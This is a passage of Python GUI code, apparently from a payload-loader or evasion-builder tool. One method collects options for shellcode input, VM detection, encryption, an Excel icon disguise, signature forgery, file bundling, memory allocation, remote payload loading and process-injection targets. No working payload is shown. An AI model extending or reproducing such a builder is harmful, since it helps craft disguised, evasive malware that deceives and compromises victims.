(self)
| 326 | self.worker.start() |
| 327 | |
| 328 | def _collect_params(self): |
| 329 | input_bin = self.bin_box.itemData(self.bin_box.currentIndex()) |
| 330 | if not input_bin: |
| 331 | input_bin = 'calc.bin' |
| 332 | |
| 333 | run_mode = self.run_mode_box.itemData(self.run_mode_box.currentIndex()) or 'enum_ui' |
| 334 | |
| 335 | selected_ids = [cb.property('vm_id') for cb in self.vm_checkboxes if cb.isChecked()] |
| 336 | selected_ids = [sid for sid in selected_ids if isinstance(sid, str) and sid] |
| 337 | vm_checks = ','.join(selected_ids) |
| 338 | |
| 339 | enc_method = self.enc_box.itemData(self.enc_box.currentIndex()) or self.enc_box.currentText() |
| 340 | |
| 341 | encode_method = self.encode_box.currentData() or self.encode_box.currentText() |
| 342 | |
| 343 | icon_path = self.ico_box.itemData(self.ico_box.currentIndex()) |
| 344 | if not icon_path: |
| 345 | icon_path = os.path.join('icons', 'excel.ico') |
| 346 | |
| 347 | sign_enable = self.sign_enable_box.isChecked() |
| 348 | sign_app = self.sign_app_box.itemData(self.sign_app_box.currentIndex()) |
| 349 | forgery_enable = self.forgery_enable_box.isChecked() |
| 350 | bundle_file = self.bundle_file_box.itemData(self.bundle_file_box.currentIndex()) if forgery_enable else "" |
| 351 | |
| 352 | mem_mode = self.mem_mode_box.itemData(self.mem_mode_box.currentIndex()) |
| 353 | if not mem_mode: |
| 354 | mem_mode = get_default_value('alloc_mem_mode') or 'alloc_mem_va' |
| 355 | |
| 356 | load_payload_mode = self.load_payload_box.itemData(self.load_payload_box.currentIndex()) |
| 357 | if not load_payload_mode: |
| 358 | load_payload_mode = get_default_value('load_payload_mode') or 'read_from_self' |
| 359 | |
| 360 | default_payload_address = self.payload_address_input.text().strip() if self.payload_address_input.isVisible() else "" |
| 361 | |
| 362 | target = self.target_box.itemData(self.target_box.currentIndex()) |
| 363 | if not target: |
| 364 | target = self.target_box.currentText() |
| 365 | |
| 366 | target_program = self.target_input.text().strip() if self.target_input.isVisible() else "" |
| 367 | |
| 368 | target_pid = self.pid_input.text().strip() if self.pid_input.isVisible() else "0" |
| 369 | |
| 370 | return { |
| 371 | 'input_bin': input_bin, |
| 372 | 'run_mode': run_mode, |
| 373 | 'vm_checks': vm_checks, |
| 374 | 'enc_method': enc_method, |
| 375 | 'encode_method': encode_method, |
| 376 | 'icon_path': icon_path, |
| 377 | 'sign_enable': sign_enable, |
| 378 | 'sign_app': sign_app, |
| 379 | 'forgery_enable': forgery_enable, |
| 380 | 'bundle_file': bundle_file, |
| 381 | 'mem_mode': mem_mode, |
| 382 | 'load_payload_mode': load_payload_mode, |
| 383 | 'default_payload_address': default_payload_address, |
| 384 | 'target': target, |
| 385 | 'target_program': target_program, |
no test coverage detected